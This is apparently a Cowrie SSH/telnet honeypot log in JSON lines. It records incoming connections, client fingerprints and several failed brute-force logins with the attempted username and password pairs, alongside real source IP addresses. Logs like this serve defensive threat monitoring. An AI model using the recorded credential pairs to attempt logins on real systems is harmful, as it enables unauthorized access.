{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:02.680874Z","src_ip":"162.241.239.241","session":"aeee049e11bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:02.709680Z","src_ip":"162.241.239.241","session":"aeee049e11bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&*","message":"login attempt [root/qwerty@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:02.800022Z","src_ip":"162.241.239.241","session":"aeee049e11bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:03.831090Z","src_ip":"162.241.239.241","session":"aeee049e11bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43178,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31aaf32a77b","protocol":"ssh","message":"New connection: 159.65.58.200:43178 (159.203.135.109:22) [session: f31aaf32a77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:03.898585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:04.138688Z","src_ip":"159.65.58.200","session":"f31aaf32a77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:04.142176Z","src_ip":"159.65.58.200","session":"f31aaf32a77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"6414139a82fa","protocol":"telnet","message":"New connection: 170.64.224.25:50222 (159.203.135.109:23) [session: 6414139a82fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:04.946527Z"}
{"eventid":"cowrie.login.failed","username":"sheshuk","password":"123456","message":"login attempt [sheshuk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:05.507404Z","src_ip":"159.65.58.200","session":"f31aaf32a77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:06.801405Z","src_ip":"159.65.58.200","session":"f31aaf32a77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40202,"dst_ip":"10.17.0.5","dst_port":22,"session":"01c997715a78","protocol":"ssh","message":"New connection: 8.210.75.243:40202 (10.17.0.5:22) [session: 01c997715a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:10.697896Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":12904,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa2f2e5d57d","protocol":"ssh","message":"New connection: 194.59.206.2:12904 (10.17.0.5:22) [session: 5fa2f2e5d57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:19.958167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:19.962796Z","src_ip":"194.59.206.2","session":"5fa2f2e5d57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:20.053726Z","src_ip":"194.59.206.2","session":"5fa2f2e5d57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:20.146380Z","src_ip":"194.59.206.2","session":"5fa2f2e5d57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39750,"dst_ip":"159.203.135.109","dst_port":23,"session":"02792e67dc51","protocol":"telnet","message":"New connection: 170.64.224.25:39750 (159.203.135.109:23) [session: 02792e67dc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:26.043343Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37380,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3048dc4342","protocol":"telnet","message":"New connection: 107.6.151.170:37380 (159.203.135.109:23) [session: 4e3048dc4342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:28.331563Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36114,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91d66ea47b5","protocol":"ssh","message":"New connection: 8.210.75.243:36114 (10.17.0.5:22) [session: f91d66ea47b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:34.921505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:34.925038Z","src_ip":"8.210.75.243","session":"f91d66ea47b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"8181f3f2f71a","protocol":"ssh","message":"New connection: 143.20.185.207:50874 (10.17.0.5:22) [session: 8181f3f2f71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:39.953700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:39.958690Z","src_ip":"143.20.185.207","session":"8181f3f2f71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:40.071789Z","src_ip":"143.20.185.207","session":"8181f3f2f71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#8VCPU32GBAMD","message":"login attempt [root/RASYAXINSA#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:40.416348Z","src_ip":"143.20.185.207","session":"8181f3f2f71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4957592ffa","protocol":"ssh","message":"New connection: 103.172.78.219:50362 (159.203.135.109:22) [session: 3c4957592ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.410429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.414706Z","src_ip":"103.172.78.219","session":"3c4957592ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.540626Z","src_ip":"143.20.185.207","session":"8181f3f2f71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.671165Z","src_ip":"103.172.78.219","session":"3c4957592ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"15765d515d81","protocol":"telnet","message":"New connection: 107.6.151.170:34406 (159.203.135.109:23) [session: 15765d515d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.727991Z"}
{"eventid":"cowrie.session.closed","duration":0.008591651916503906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:41.736420Z","src_ip":"107.6.151.170","session":"15765d515d81","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"140819","message":"login attempt [root/140819] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:42.441713Z","src_ip":"103.172.78.219","session":"3c4957592ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:43.699945Z","src_ip":"103.172.78.219","session":"3c4957592ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48210,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1789cca812","protocol":"ssh","message":"New connection: 8.210.75.243:48210 (10.17.0.5:22) [session: 5d1789cca812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:48.299092Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60306,"dst_ip":"10.17.0.5","dst_port":22,"session":"c496fa05cf06","protocol":"ssh","message":"New connection: 8.210.75.243:60306 (10.17.0.5:22) [session: c496fa05cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:58.013662Z"}
{"eventid":"cowrie.session.closed","duration":53.58215570449829,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:58.528563Z","src_ip":"170.64.224.25","session":"6414139a82fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":35518,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa53ab33fe0","protocol":"ssh","message":"New connection: 165.227.170.113:35518 (10.17.0.5:22) [session: 1aa53ab33fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:08.519552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:08.525492Z","src_ip":"165.227.170.113","session":"1aa53ab33fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:08.609060Z","src_ip":"165.227.170.113","session":"1aa53ab33fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:08.940325Z","src_ip":"165.227.170.113","session":"1aa53ab33fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:10.033113Z","src_ip":"165.227.170.113","session":"1aa53ab33fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35968,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8bb7e85038","protocol":"telnet","message":"New connection: 170.64.224.25:35968 (159.203.135.109:23) [session: 3c8bb7e85038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:10.480930Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49088,"dst_ip":"159.203.135.109","dst_port":23,"session":"753e2aa15c2d","protocol":"telnet","message":"New connection: 137.184.5.188:49088 (159.203.135.109:23) [session: 753e2aa15c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:11.915978Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:12.019360Z","src_ip":"8.210.75.243","session":"c2f5ca71d345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d597ff611ba5","protocol":"telnet","message":"New connection: 137.184.5.188:48668 (159.203.135.109:23) [session: d597ff611ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:13.180123Z"}
{"eventid":"cowrie.session.closed","duration":46.53230595588684,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:14.863782Z","src_ip":"107.6.151.170","session":"4e3048dc4342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:14.990835Z","src_ip":"14.29.214.161","session":"0d43e9ef3f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35978,"dst_ip":"159.203.135.109","dst_port":23,"session":"402ca0921eb5","protocol":"telnet","message":"New connection: 170.64.224.25:35978 (159.203.135.109:23) [session: 402ca0921eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:17.313250Z"}
{"eventid":"cowrie.session.closed","duration":53.457350969314575,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:19.500585Z","src_ip":"170.64.224.25","session":"02792e67dc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44188,"dst_ip":"10.17.0.5","dst_port":22,"session":"250a4aeddddd","protocol":"ssh","message":"New connection: 8.210.75.243:44188 (10.17.0.5:22) [session: 250a4aeddddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:21.931337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:21.934811Z","src_ip":"8.210.75.243","session":"250a4aeddddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":46130,"dst_ip":"159.203.135.109","dst_port":22,"session":"f15913ef6b0b","protocol":"ssh","message":"New connection: 192.163.244.125:46130 (159.203.135.109:22) [session: f15913ef6b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:23.894738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:23.897640Z","src_ip":"192.163.244.125","session":"f15913ef6b0b","protocol":"ssh"}
